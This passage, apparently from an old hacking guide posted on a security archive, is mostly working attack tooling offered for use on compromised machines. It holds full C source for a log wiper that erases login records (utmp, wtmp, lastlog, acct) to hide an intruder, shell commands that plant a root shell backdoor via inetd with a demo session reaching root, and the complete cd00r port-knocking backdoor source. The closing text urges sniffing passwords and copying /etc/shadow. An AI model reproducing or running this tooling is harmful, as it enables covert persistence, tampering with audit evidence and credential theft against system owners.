&#42;/<br />#ifdef HAVE_UTMPX<br />void            <br />wipe_utmpx(char &#42;who, char &#42;line)<br />&#123;<br />        int             fd1;<br />        struct utmpx    utx;<br />                <br />        printf(&quot;Patching %s .... &quot;, UTMPX_FILE);<br />        fflush(stdout);<br /><br />        /&#42;<br />         &#42; Open the utmp file and temporary file.<br />         &#42;/<br />        if ( (fd1 &#61; open(UTMPX_FILE, O_RDWR)) &lt; 0 ) &#123;<br />                fprintf(stderr, &quot;ERROR: Opening %s\n&quot;, UTMPX_FILE);<br />                return;<br />        &#125;<br />                                <br />        while ( (read(fd1, &amp;utx, sizeof(utx)) ) &gt; 0)<br />                if ( !strncmp(utx.ut_name, who, strlen(who)) )<br />                        if (!line &#124;&#124; (line &amp;&amp;<br />                          !strncmp(utx.ut_line, line, strlen(line)))) &#123;<br />                                bzero((char &#42;) &amp;utx, sizeof(utx));<br />                                lseek(fd1, (int) -sizeof(utx), SEEK_CUR);<br />                                write(fd1, &amp;utx, sizeof(utx));<br />                        &#125;<br />        <br />        close(fd1);<br /><br />  printf(&quot;Done.\n&quot;);<br />&#125;<br />#endif          <br /><br /> <br />/&#42;<br /> &#42; WTMP editing.<br /> &#42;/             <br />void<br />wipe_wtmp(char &#42;who, char &#42;line)<br />&#123;<br />        int             fd1;<br />        struct utmp     ut;<br />           <br />        printf(&quot;Patching %s .... &quot;, WTMP_FILE);<br />        fflush(stdout);<br />                <br />        /&#42;<br />         &#42; Open the wtmp file and temporary file.<br />         &#42;/<br />        if ( (fd1 &#61; open(WTMP_FILE, O_RDWR)) &lt; 0 ) &#123;<br />                fprintf(stderr, &quot;ERROR: Opening %s\n&quot;, WTMP_FILE);<br />                return;<br />        &#125;<br />                                <br />        /&#42;<br />         &#42; Determine offset of last relevent entry.<br />         &#42;/<br />        lseek(fd1, (long) -(sizeof(ut)), SEEK_END);<br />  while ( (read (fd1, &amp;ut, sizeof(ut))) &gt; 0) &#123;<br />                if (!strncmp(ut.ut_name, who, strlen(who)))<br />                        if (!line &#124;&#124; (line &amp;&amp;<br />                          !strncmp(ut.ut_line, line, strlen(line)))) &#123;<br />                                bzero((char &#42;) &amp;ut, sizeof(ut));<br />                                lseek(fd1, (long) -(sizeof(ut)), SEEK_CUR);<br />                                write(fd1, &amp;ut, sizeof(ut));<br />                                break;<br />                        &#125;<br />                lseek(fd1, (long) -(sizeof(ut) &#42; 2), SEEK_CUR);<br />        &#125;<br /> <br />        close(fd1);<br />        <br />        printf(&quot;Done.\n&quot;);<br />&#125;<br />        <br />                <br />/&#42;<br /> &#42; WTMPX editing if supported.<br /> &#42;/<br />#ifdef HAVE_UTMPX<br />void<br />wipe_wtmpx(char &#42;who, char &#42;line)<br />&#123;<br />        int             fd1;    <br />        struct utmpx    utx;<br />         <br />        printf(&quot;Patching %s .... &quot;, WTMPX_FILE);<br />        fflush(stdout);<br /><br />  /&#42;<br />         &#42; Open the utmp file and temporary file.<br />         &#42;/<br />        if ( (fd1 &#61; open(WTMPX_FILE, O_RDWR)) &lt; 0 ) &#123;<br />                fprintf(stderr, &quot;ERROR: Opening %s\n&quot;, WTMPX_FILE);<br />                return;<br />        &#125;<br />                         <br />        /&#42;<br />         &#42; Determine offset of last relevent entry.<br />         &#42;/<br />        lseek(fd1, (long) -(sizeof(utx)), SEEK_END);<br />        while ( (read (fd1, &amp;utx, sizeof(utx))) &gt; 0) &#123;<br />                if (!strncmp(utx.ut_name, who, strlen(who)))<br />                        if (!line &#124;&#124; (line &amp;&amp;<br />                          !strncmp(utx.ut_line, line, strlen(line)))) &#123;<br />                                bzero((char &#42;) &amp;utx, sizeof(utx));<br />                                lseek(fd1, (long) -(sizeof(utx)), SEEK_CUR);<br />                                write(fd1, &amp;utx, sizeof(utx));<br />                                break;<br />                        &#125;<br />                lseek(fd1, (int) -(sizeof(utx) &#42; 2), SEEK_CUR);<br />        &#125;<br /> <br />        close(fd1);<br />        <br />        printf(&quot;Done.\n&quot;);<br />&#125;<br />#endif<br /><br />/&#42;<br /> &#42; LASTLOG editing.<br /> &#42;/<br />void<br />wipe_lastlog(char &#42;who, char &#42;line, char &#42;timestr, char &#42;host)<br />&#123;<br />        int             fd1;<br />        struct lastlog  ll;<br />        struct passwd   &#42;pwd;<br />        struct tm       &#42;tm;<br />        char            str&#91;4&#93;;<br />        <br />        printf(&quot;Patching %s .... &quot;, LASTLOG_FILE);<br />        fflush(stdout);<br />                          <br />        tm &#61; (struct tm &#42;) malloc( sizeof(struct tm) );<br />                                <br />        /&#42;<br />         &#42; Open the lastlog file.<br />         &#42;/<br />        if ( (fd1 &#61; open(LASTLOG_FILE, O_RDWR)) &lt; 0 ) &#123;<br />                fprintf(stderr, &quot;ERROR: Opening %s\n&quot;, LASTLOG_FILE);<br />                return;<br />        &#125;<br />        <br />        if ( (pwd &#61; getpwnam(who)) &#61;&#61; NULL) &#123;<br />                fprintf(stderr, &quot;ERROR: Can&#39;t find user in passwd.\n&quot;);<br />                return;<br />  &#125;<br />          <br />        lseek(fd1, (long) pwd-&gt;pw_uid &#42; sizeof(struct lastlog), 0);<br />        bzero((char &#42;) &amp;ll, sizeof(ll));<br />   <br />        if (line)<br />                strncpy(ll.ll_line, line, strlen(line));<br /> <br />        if (timestr) &#123;<br />                /&#42; YYMMddhhmm &#42;/<br />                if (strlen(timestr) !&#61; 10) &#123;<br />                        fprintf(stderr, &quot;ERROR: Time format is YYMMddhhmm.\n&quot;);<br />                        return;<br />                &#125;<br />        <br />                /&#42;<br />                 &#42; Extract Times.<br />                 &#42;/<br />                str&#91;2&#93; &#61; 0;     <br />                str&#91;0&#93; &#61; timestr&#91;0&#93;;<br />                str&#91;1&#93; &#61; timestr&#91;1&#93;;<br />                tm-&gt;tm_year &#61; atoi(str);<br />        <br />                str&#91;0&#93; &#61; timestr&#91;2&#93;;<br />                str&#91;1&#93; &#61; timestr&#91;3&#93;;<br />                tm-&gt;tm_mon &#61; atoi(str) - 1;<br />        <br />                str&#91;0&#93; &#61; timestr&#91;4&#93;;<br />                str&#91;1&#93; &#61; timestr&#91;5&#93;;<br />                tm-&gt;tm_mday &#61; atoi(str);<br /><br />    str&#91;0&#93; &#61; timestr&#91;6&#93;;<br />                str&#91;1&#93; &#61; timestr&#91;7&#93;;<br />                tm-&gt;tm_hour &#61; atoi(str);<br />   <br />                str&#91;0&#93; &#61; timestr&#91;8&#93;;<br />                str&#91;1&#93; &#61; timestr&#91;9&#93;;<br />                tm-&gt;tm_min &#61; atoi(str);<br />                tm-&gt;tm_sec &#61; 0;<br />                <br />                ll.ll_time &#61; mktime(tm);<br />        &#125;<br />                        <br />        if (host)<br />                strncpy(ll.ll_host, host, sizeof(ll.ll_host));<br />                  <br />                 <br />        write(fd1, (char &#42;) &amp;ll, sizeof(ll));<br />                <br />        close(fd1);<br />                <br />        printf(&quot;Done.\n&quot;);<br />&#125;       <br />                <br />                <br />#ifndef NO_ACCT<br />/&#42;      <br /> &#42; ACCOUNT editing.<br /> &#42;/<br />void<br />wipe_acct(char &#42;who, char &#42;line)<br />&#123;<br />        int             fd1, fd2;   <br />        struct acct     ac;<br />        char            ttyn&#91;50&#93;;<br />        struct passwd   &#42;pwd;<br />        struct stat     sbuf;<br />        char            &#42;tmpf;<br />                <br />        printf(&quot;Patching %s .... &quot;, ACCT_FILE);<br />        fflush(stdout);<br />         <br />        /&#42;              <br />         &#42; Open the acct file and temporary file.<br />         &#42;/<br />        if ( (fd1 &#61; open(ACCT_FILE, O_RDONLY)) &lt; 0 ) &#123;<br />                fprintf(stderr, &quot;ERROR: Opening %s\n&quot;, ACCT_FILE);<br />                return;<br />        &#125;       <br />        <br />        /&#42;      <br />         &#42; Grab a unique temporary filename.<br />         &#42;/<br />        tmpf &#61; tmpnam((char &#42;) NULL);<br />                <br />        if ( (fd2 &#61; open(tmpf, O_WRONLY &#124; O_CREAT &#124; O_TRUNC, 600)) &lt; 0 ) &#123;<br />                fprintf(stderr, &quot;ERROR: Opening tmp ACCT file\n&quot;);<br />                return;<br />        &#125;<br /><br />  if ( (pwd &#61; getpwnam(who)) &#61;&#61; NULL) &#123;<br />                fprintf(stderr, &quot;ERROR: Can&#39;t find user in passwd.\n&quot;);<br />                return;<br />        &#125;<br />        <br />        /&#42;<br />         &#42; Determine tty&#39;s device number<br />         &#42;/<br />        strcpy(ttyn, &quot;/dev/&quot;);<br />        strcat(ttyn, line);<br />        if (stat(ttyn, &amp;sbuf) &lt; 0) &#123;<br />                fprintf(stderr, &quot;ERROR: Determining tty device number.\n&quot;);<br />                return; <br />        &#125;<br />           <br />        while ( read(fd1, &amp;ac, sizeof(ac)) &gt; 0 ) &#123;<br />                if ( !(ac.ac_uid &#61;&#61; pwd-&gt;pw_uid &amp;&amp; ac.ac_tty &#61;&#61; sbuf.st_rdev) )<br />                        write(fd2, &amp;ac, sizeof(ac));<br />        &#125;       <br />        <br />        close(fd1);<br />        close(fd2);<br />           <br />        copy_file(tmpf, ACCT_FILE);  <br />                <br />        if ( unlink(tmpf) &lt; 0 ) &#123;<br />                fprintf(stderr, &quot;ERROR: Unlinking tmp WTMP file.\n&quot;);<br />                return;<br />        &#125;<br /><br />  printf(&quot;Done.\n&quot;);<br />&#125;<br />#endif<br />         <br />        <br />void<br />usage()<br />&#123;<br />        printf(&quot;USAGE: wipe &#91; u&#124;w&#124;l&#124;a &#93; ...options...\n&quot;);<br />        printf(&quot;\n&quot;);<br />        printf(&quot;UTMP editing:\n&quot;);  <br />        printf(&quot;    Erase all usernames      :   wipe u &#91;username&#93;\n&quot;);<br />        printf(&quot;    Erase one username on tty:   wipe u &#91;username&#93; &#91;tty&#93;\n&quot;);<br />        printf(&quot;\n&quot;);<br />        printf(&quot;WTMP editing:\n&quot;);<br />        printf(&quot;   Erase last entry for user :   wipe w &#91;username&#93;\n&quot;);<br />        printf(&quot;   Erase last entry on tty   :   wipe w &#91;username&#93; &#91;tty&#93;\n&quot;);  <br />        printf(&quot;\n&quot;);<br />        printf(&quot;LASTLOG editing:\n&quot;);<br />        printf(&quot;   Blank lastlog for user    :   wipe l &#91;username&#93;\n&quot;);<br />        printf(&quot;   Alter lastlog entry       :   wipe l &#91;username&#93; &#91;tty&#93; &#91;time&#93; &#91;host&#93;\n&quot;);<br />        printf(&quot;        Where &#91;time&#93; is in the format &#91;YYMMddhhmm&#93;\n&quot;);<br />        printf(&quot;\n&quot;);<br />#ifndef NO_ACCT<br />        printf(&quot;ACCT editing:\n&quot;);<br />        printf(&quot;   Erase acct entries on tty :   wipe a &#91;username&#93; &#91;tty&#93;\n&quot;);<br />#endif<br />        exit(1);<br />&#125;<br /><br />int<br />main(int argc, char &#42;argv&#91;&#93;)<br />&#123;        <br />        char    c;<br /><br />        if (argc &lt; 3)<br />                usage();<br />        <br />        /&#42;<br />         &#42; First character of first argument determines which file to edit.<br />         &#42;/<br />        c &#61; toupper(argv&#91;1&#93;&#91;0&#93;);<br />        <br />        /&#42;<br />         &#42; UTMP editing.<br />         &#42;/<br />        switch (c) &#123; <br />                /&#42; UTMP &#42;/<br />                case &#39;U&#39; :<br />                        if (argc &#61;&#61; 3)<br />                                wipe_utmp(argv&#91;2&#93;, (char &#42;) NULL);<br />                        if (argc &#61;&#61;4)<br />                                wipe_utmp(argv&#91;2&#93;, argv&#91;3&#93;);<br />        <br />#ifdef HAVE_UTMPX<br />                        if (argc &#61;&#61; 3)<br />                                wipe_utmpx(argv&#91;2&#93;, (char &#42;) NULL);<br />                        if (argc &#61;&#61; 4)<br />                                wipe_utmpx(argv&#91;2&#93;, argv&#91;3&#93;);<br />#endif  <br />   <br />                        break;<br />                /&#42; WTMP &#42;/<br />                case &#39;W&#39; :<br />                        if (argc &#61;&#61; 3)<br />                                wipe_wtmp(argv&#91;2&#93;, (char &#42;) NULL);<br />                        if (argc &#61;&#61; 4)<br />                                wipe_wtmp(argv&#91;2&#93;, argv&#91;3&#93;);<br />          <br />#ifdef HAVE_UTMPX<br />                        if (argc &#61;&#61; 3)<br />                                wipe_wtmpx(argv&#91;2&#93;, (char &#42;) NULL);<br />                        if (argc &#61;&#61; 4)<br />                                wipe_wtmpx(argv&#91;2&#93;, argv&#91;3&#93;);<br />#endif<br />           <br />                        break;<br />                /&#42; LASTLOG &#42;/<br />                case &#39;L&#39; :<br />                        if (argc &#61;&#61; 3)<br />                                wipe_lastlog(argv&#91;2&#93;, (char &#42;) NULL,<br />                                        (char &#42;) NULL, (char &#42;) NULL);<br />                        if (argc &#61;&#61; 4)<br />                                wipe_lastlog(argv&#91;2&#93;, argv&#91;3&#93;, (char &#42;) NULL,<br />                                                (char &#42;) NULL);<br />                        if (argc &#61;&#61; 5)<br />                                wipe_lastlog(argv&#91;2&#93;, argv&#91;3&#93;, argv&#91;4&#93;,<br />                                                (char &#42;) NULL);<br />                        if (argc &#61;&#61; 6)<br />        wipe_lastlog(argv&#91;2&#93;, argv&#91;3&#93;, argv&#91;4&#93;,<br />                                                argv&#91;5&#93;);<br />                        break;<br />#ifndef NO_ACCT<br />                /&#42; ACCT &#42;/<br />                case &#39;A&#39; :<br />                        if (argc !&#61; 4)<br />                                usage();<br />                        wipe_acct(argv&#91;2&#93;, argv&#91;3&#93;);<br />                        break;<br />#endif<br />        &#125;<br />                                <br />        return(0);<br />&#125;<br /><br />----------------cut----------------<br /><br />bash# cc clean.c -o clean<br /><br />type clean and you&#39;ll see a manual appear on your screen or do this :<br /><br />bash# clean u games<br />Patching.... Done.<br />bash# clean w games <br />Patching.... Done.<br />bash# clean l games localhost<br />Patching.... Done.<br />bash# w<br />USER     TTY      FROM              LOGIN&#64;   IDLE   JCPU   PCPU  WHAT<br />bash#<br /><br />Looks like no one logged :D Not at all, it&#39;s hide from finger too &#61;).<br />Now, we need a daemon backdoor to keep our access more safe or <br />something that admin don&#39;t know if he remove our &#39;games&#39; login. Try his <br />backdoor it&#39;s really r0x :P<br /><br />bash# echo &#39;utcp  10101        # Utcp Networking&#39; &gt;&gt;/etc/services<br />bash# echo &#39;utcp  stream  tcp  nowait  root  /bin/sh  -i &gt;&gt;/etc/inetd.conf<br />bash# killall -HUP inetd<br /><br />Now try telnet to your rooted b0x on 10101 port from other machine<br />Lets see what happens :<br /><br />host.com&#36; telnet host2.com 10101<br />Trying host2.com...<br />Connected to host2.com.<br />Escape character is &#39;&#94;&#93;&#39;.<br />bash# id;uname<br />uid&#61;0(root) gid&#61;0(root) groups&#61;0(root)<br />Linux ns 2.2.12-20krsmp #97 Fri Jun 16 19:45:30 PDT 2000 i586 unknown<br />bash#<br />bash# exit<br />Connection closed by foreign host.<br />host.com&#36;<br /><br />We have a backdoor shell now. You can try other backdoor if you want <br />try this sploit for your second backdoor shell &#61;)<br /><br /><br />----------------cut----------------<br /><br />/&#42;<br /> Code by Phenoelit<br /> -<br /> gcc -DDEBUG -o &lt;whatever&gt; -I/where/ever/bpf -L/where/ever/bpf cd00r.c -lpcap<br />&#42;/<br /><br />#define CDR_INTERFACE    &quot;eth0&quot;<br />#define CDR_ADDRESS    &quot;your-ip&quot; <br />#define CDR_PORTS          &quot;your-backdoor-port&quot;<br />#define CDR_CODERESET<br />#define CDR_SENDER_ADDR<br />#define CDR_NOISE_COMMAND  &quot;uDc&quot;<br />#include &lt;stdio.h&gt;<br />#include &lt;stdlib.h&gt;<br />#include &lt;string.h&gt;<br />#include &lt;unistd.h&gt;<br />#include &lt;signal.h&gt;<br />#include &lt;netinet/in.h&gt;                 /&#42; for IPPROTO_bla consts &#42;/<br />#include &lt;sys/socket.h&gt;                 /&#42; for inet_ntoa() &#42;/<br />#include &lt;arpa/inet.h&gt;                  /&#42; for inet_ntoa() &#42;/<br />#include &lt;netdb.h&gt;      /&#42; for gethostbyname() &#42;/<br />#include &lt;sys/types.h&gt;      /&#42; for wait() &#42;/<br />#include &lt;sys/wait.h&gt;      /&#42; for wait() &#42;/<br /><br />#include &lt;pcap.h&gt;<br />#include &lt;net/bpf.h&gt;<br /><br />#define ETHLENGTH   14<br />#define IP_MIN_LENGTH   20<br />#define CAPLENGTH  98<br /><br /><br /><br />struct iphdr &#123;<br />        u_char  ihl:4,        /&#42; header length &#42;/<br />        version:4;              /&#42; version &#42;/<br />        u_char  tos;          /&#42; type of service &#42;/<br />        short   tot_len;      /&#42; total length &#42;/<br />        u_short id;           /&#42; identification &#42;/<br />        short   off;          /&#42; fragment offset field &#42;/<br />        u_char  ttl;          /&#42; time to live &#42;/<br />        u_char  protocol;     /&#42; protocol &#42;/<br />        u_short check;        /&#42; checksum &#42;/<br />        struct  in_addr saddr;<br />  struct  in_addr daddr;  /&#42; source and dest address &#42;/<br />&#125;;<br /><br />struct tcphdr &#123;<br />        unsigned short int   src_port;<br />  unsigned short int   dest_port;<br />        unsigned long int   seq_num;<br />        unsigned long int   ack_num;<br />  unsigned short int  rawflags;<br />        unsigned short int   window;<br />        long int     crc_a_urgent;<br />        long int     options_a_padding;<br />&#125;;<br /><br /><br />unsigned int   cports&#91;&#93; &#61; CDR_PORTS;<br />int    cportcnt &#61; 0;<br />/&#42; which is the next required port ? &#42;/<br />int    actport &#61; 0;<br /><br />#ifdef CDR_SENDER_ADDR<br /><br />struct in_addr  sender;<br />#endif CDR_SENDER_ADDR<br /><br /><br />void cdr_open_door(void) &#123;<br />    FILE  &#42;f;<br /><br />    char  &#42;args&#91;&#93; &#61; &#123;&quot;/usr/sbin/inetd&quot;,&quot;/tmp/.ind&quot;,NULL&#125;;<br /><br />    switch (fork()) &#123;<br />  case -1: <br />#ifdef DEBUG<br />      printf(&quot;fork() failed ! Fuck !\n&quot;);<br />#endif DEBUG<br />      return;<br />  case 0: <br />      /&#42; To prevent zombies (inetd-zombies look quite stupid) we do<br />       &#42; a second fork() &#42;/<br />      switch (fork()) &#123;<br />    case -1: _exit(0);<br />    case 0: /&#42;that&#39;s fine &#42;/<br />       break;<br />    default: _exit(0);<br />      &#125;<br />       break;<br /><br />  default: <br />       wait(NULL);<br />       return;<br />    &#125;<br /><br />    if ((f&#61;fopen(&quot;/tmp/.ind&quot;,&quot;a+t&quot;))&#61;&#61;NULL) return;<br />    fprintf(f,&quot;5002  stream  tcp     nowait  root    /bin/sh  sh\n&quot;);<br />    fclose(f);<br /><br />    execv(&quot;/usr/sbin/inetd&quot;,args);<br />#ifdef DEBUG<br />    printf(&quot;Strange return from execvp() !\n&quot;);<br />#endif DEBUG<br />    exit (0);<br /><br />&#125;<br /><br /><br />/&#42; error function for pcap lib &#42;/<br />void capterror(pcap_t &#42;caps, char &#42;message) &#123;<br />    pcap_perror(caps,message);<br />    exit (-1);<br />&#125;<br /><br />/&#42; signal counter/handler &#42;/<br />void signal_handler(int sig) &#123;<br />    /&#42; the ugly way ... &#42;/<br />    _exit(0);<br />&#125;<br /><br />void &#42;smalloc(size_t size) &#123;<br />    void  &#42;p;<br /><br />    if ((p&#61;malloc(size))&#61;&#61;NULL) &#123;<br />  exit(-1);<br />    &#125;<br />    memset(p,0,size);<br />    return p;<br />&#125;<br /><br /><br />int main (int argc, char &#42;&#42;argv) &#123;<br /><br />    /&#42; variables for the pcap functions &#42;/<br />#define  CDR_BPF_PORT   &quot;port &quot;<br />#define CDR_BPF_ORCON  &quot; or &quot;<br />    char     pcap_err&#91;PCAP_ERRBUF_SIZE&#93;; /&#42; buffer for pcap errors &#42;/<br />    pcap_t     &#42;cap;                       /&#42; capture handler &#42;/<br />    bpf_u_int32   network,netmask;<br />    struct pcap_pkthdr   &#42;phead;<br />    struct bpf_program   cfilter;             /&#42; the compiled filter &#42;/<br />    struct iphdr   &#42;ip;<br />    struct tcphdr   &#42;tcp;<br />    u_char    &#42;pdata;<br />    /&#42; for filter compilation &#42;/<br />    char    &#42;filter;<br />    char    portnum&#91;6&#93;;<br />    /&#42; command line &#42;/<br />    int      cdr_noise &#61; 0;<br />    /&#42; the usual int i &#42;/<br />    int      i;<br />    /&#42; for resolving the CDR_ADDRESS &#42;/<br />#ifdef CDR_ADDRESS<br />    struct hostent  &#42;hent;<br />#endif CDR_ADDRESS<br /><br /><br /><br />    /&#42; check for the one and only command line argument &#42;/<br />    if (argc&gt;1) &#123;<br />  if (!strcmp(argv&#91;1&#93;,CDR_NOISE_COMMAND)) <br />      cdr_noise++;<br />  else <br />      exit (0);<br />    &#125; <br /><br />    /&#42; resolve our address - if desired &#42;/<br />#ifdef CDR_ADDRESS<br />    if ((hent&#61;gethostbyname(CDR_ADDRESS))&#61;&#61;NULL) &#123;<br />  if (cdr_noise) <br />      fprintf(stderr,&quot;gethostbyname() failed\n&quot;);<br />  exit (0);<br />    &#125;<br />#endif CDR_ADDRESS<br /><br />    /&#42; count the ports our user has #defined &#42;/<br />    while (cports&#91;cportcnt++&#93;);<br />    cportcnt--;<br />#ifdef DEBUG<br />    printf(&quot;%d ports used as code\n&quot;,cportcnt);<br />#endif DEBUG<br /><br />    <br />    if (cports&#91;0&#93;) &#123;<br />  memset(&amp;portnum,0,6);<br />  sprintf(portnum,&quot;%d&quot;,cports&#91;0&#93;);<br />  filter&#61;(char &#42;)smalloc(strlen(CDR_BPF_PORT)+strlen(portnum)+1);<br />  strcpy(filter,CDR_BPF_PORT);<br />  strcat(filter,portnum);<br />    &#125; else &#123;<br />  if (cdr_noise) <br />      fprintf(stderr,&quot;NO port code\n&quot;);<br />  exit (0);<br />    &#125; <br /><br /><br />    for (i&#61;1;i&lt;cportcnt;i++) &#123;<br />  if (cports&#91;i&#93;) &#123;<br />      memset(&amp;portnum,0,6);<br />      sprintf(portnum,&quot;%d&quot;,cports&#91;i&#93;);<br />      if ((filter&#61;(char &#42;)realloc(filter,<br />          strlen(filter)+<br />          strlen(CDR_BPF_PORT)+<br />          strlen(portnum)+<br />          strlen(CDR_BPF_ORCON)+1))<br />        &#61;&#61;NULL) &#123;<br />    if (cdr_noise)<br />        fprintf(stderr,&quot;realloc() failed\n&quot;);<br />    exit (0);<br />      &#125;<br />      strcat(filter,CDR_BPF_ORCON);<br />      strcat(filter,CDR_BPF_PORT);<br />      strcat(filter,portnum);<br />  &#125;<br />    &#125; <br /><br />#ifdef DEBUG<br />    printf(&quot;DEBUG: &#39;%s&#39;\n&quot;,filter);<br />#endif DEBUG<br /><br />    /&#42; initialize the pcap &#39;listener&#39; &#42;/<br />    if (pcap_lookupnet(CDR_INTERFACE,&amp;network,&amp;netmask,pcap_err)!&#61;0) &#123;<br />  if (cdr_noise)<br />      fprintf(stderr,&quot;pcap_lookupnet: %s\n&quot;,pcap_err);<br />  exit (0);<br />    &#125;<br /><br />    /&#42; open the &#39;listener&#39; &#42;/<br />    if ((cap&#61;pcap_open_live(CDR_INTERFACE,CAPLENGTH,<br />        0,  /&#42;not in promiscuous mode&#42;/<br />        0,  /&#42;no timeout &#42;/<br />        pcap_err))&#61;&#61;NULL) &#123;<br />  if (cdr_noise)<br />      fprintf(stderr,&quot;pcap_open_live: %s\n&quot;,pcap_err);<br />  exit (0);<br />    &#125;<br /><br />    /&#42; now, compile the filter and assign it to our capture &#42;/<br />    if (pcap_compile(cap,&amp;cfilter,filter,0,netmask)!&#61;0) &#123;<br />  if (cdr_noise) <br />      capterror(cap,&quot;pcap_compile&quot;);<br />  exit (0);<br />    &#125;<br />    if (pcap_setfilter(cap,&amp;cfilter)!&#61;0) &#123;<br />  if (cdr_noise)<br />      capterror(cap,&quot;pcap_setfilter&quot;);<br />  exit (0);<br />    &#125;<br /><br />    /&#42; the filter is set - let&#39;s free the base string&#42;/<br />    free(filter);<br />    /&#42; allocate a packet header structure &#42;/<br />    phead&#61;(struct pcap_pkthdr &#42;)smalloc(sizeof(struct pcap_pkthdr));<br /><br />    /&#42; register signal handler &#42;/<br />    signal(SIGABRT,&amp;signal_handler);<br />    signal(SIGTERM,&amp;signal_handler);<br />    signal(SIGINT,&amp;signal_handler);<br /><br />    /&#42; if we don&#39;t use DEBUG, let&#39;s be nice and close the streams &#42;/<br />#ifndef DEBUG<br />    fclose(stdin);<br />    fclose(stdout);<br />    fclose(stderr);<br />#endif DEBUG<br /><br />    /&#42; go daemon &#42;/<br />    switch (i&#61;fork()) &#123;<br />  case -1:<br />      if (cdr_noise)<br />    fprintf(stderr,&quot;fork() failed\n&quot;);<br />      exit (0);<br />      break;  /&#42; not reached &#42;/<br />  case 0:<br />      /&#42; I&#39;m happy &#42;/<br />      break;<br />  default:<br />      exit (0);<br />    &#125;<br /><br />    /&#42; main loop &#42;/<br />    for(;;) &#123;<br />  /&#42; if there is no &#39;next&#39; packet in time, continue loop &#42;/<br />  if ((pdata&#61;(u_char &#42;)pcap_next(cap,phead))&#61;&#61;NULL) continue;<br />  /&#42; if the packet is to small, continue loop &#42;/<br />  if (phead-&gt;len&lt;&#61;(ETHLENGTH+IP_MIN_LENGTH)) continue; <br />  <br />  /&#42; make it an ip packet &#42;/<br />  ip&#61;(struct iphdr &#42;)(pdata+ETHLENGTH);<br />  /&#42; if the packet is not IPv4, continue &#42;/<br />  if ((unsigned char)ip-&gt;version!&#61;4) continue;<br />  /&#42; make it TCP &#42;/<br />  tcp&#61;(struct tcphdr &#42;)(pdata+ETHLENGTH+((unsigned char)ip-&gt;ihl&#42;4));<br /><br />  /&#42; FLAG check&#39;s - see rfc793 &#42;/<br />  /&#42; if it isn&#39;t a SYN packet, continue &#42;/<br />  if (!(ntohs(tcp-&gt;rawflags)&amp;0x02)) continue;<br />  /&#42; if it is a SYN-ACK packet, continue &#42;/<br />  if (ntohs(tcp-&gt;rawflags)&amp;0x10) continue;<br /><br />#ifdef CDR_ADDRESS<br />  /&#42; if the address is not the one defined above, let it be &#42;/<br />  if (hent) &#123;<br />#ifdef DEBUG<br />      if (memcmp(&amp;ip-&gt;daddr,hent-&gt;h_addr_list&#91;0&#93;,hent-&gt;h_length)) &#123;<br />    printf(&quot;Destination address mismatch\n&quot;);<br />    continue;<br />      &#125;<br />#else <br />      if (memcmp(&amp;ip-&gt;daddr,hent-&gt;h_addr_list&#91;0&#93;,hent-&gt;h_length)) <br />    continue;<br />#endif DEBUG<br />  &#125;<br />#endif CDR_ADDRESS<br /><br />  /&#42; it is one of our ports, it is the correct destination <br />   &#42; and it is a genuine SYN packet - let&#39;s see if it is the RIGHT<br />   &#42; port &#42;/<br />  if (ntohs(tcp-&gt;dest_port)&#61;&#61;cports&#91;actport&#93;) &#123;<br />#ifdef DEBUG<br />      printf(&quot;Port %d is good as code part %d\n&quot;,ntohs(tcp-&gt;dest_port),<br />        actport);<br />#endif DEBUG<br />#ifdef CDR_SENDER_ADDR<br />      /&#42; check if the sender is the same &#42;/<br />      if (actport&#61;&#61;0) &#123;<br />    memcpy(&amp;sender,&amp;ip-&gt;saddr,4);<br />      &#125; else &#123;<br />    if (memcmp(&amp;ip-&gt;saddr,&amp;sender,4)) &#123; /&#42; sender is different &#42;/<br />        actport&#61;0;<br />#ifdef DEBUG<br />        printf(&quot;Sender mismatch\n&quot;);<br />#endif DEBUG<br />        continue;<br />    &#125;<br />      &#125;<br />#endif CDR_SENDER_ADDR<br />      /&#42; it is the rigth port ... take the next one<br />       &#42; or was it the last ??&#42;/<br />      if ((++actport)&#61;&#61;cportcnt) &#123;<br />  <br />    cdr_open_door();<br />    actport&#61;0;<br />      &#125; <br />  &#125; else &#123;<br />#ifdef CDR_CODERESET<br />      actport&#61;0;<br />#endif CDR_CODERESET<br />      continue;<br />  &#125;<br />    &#125; /&#42; end of main loop &#42;/<br /><br />    return 0;<br />&#125;<br /><br />----------------cut----------------<br /><br />Well, folks we have done with our hacking &#42;thingie&#42;. You can do <br />sniffing too on your rooted machine. Try search it on the net coz sniff<br />might help ya to collect more passwd from other machine :D Remember to<br />get the shadow file it&#39;s located on /etc/shadow on Linux machine. It&#39;s <br />for your backup login if the system admin killed your login and <br />backdoor.<br /><br />Thats all for now folks. Enjoy your rooted b0x. Happy hunting. My first<br />&#39;Hacking Guide&#39; Maybe I&#39;ll do better next time, and if I have more time<br />I&#39;ll add about 1000 (more) other exploits, remote ones, new stuff, new <br />techniques, etc... See ya!<br /><br />&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;<br />Securologix - Security Research Team         http://www.securologix.com<br />&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;</code></pre>
</div>
 <div id="comment-form" style="display:none"></div><div id="comment-login"><a href="https://packetstormsecurity.com/account/login/">Login</a> or <a href="https://packetstormsecurity.com/account/register/">Register</a> to add favorites</div>
    
    
     </div>
    
      <div id="adblock">
        
      </div>
      <div id="mn">
        <div class="mn-like-us">
<ul>
<li><a href="https://twitter.com/packet_storm"><img src="https://packetstatic.com/img1514015884/s_twitter.png" width="24" height="24" alt="Follow on Twitter" /> Follow us on Twitter</a></li>
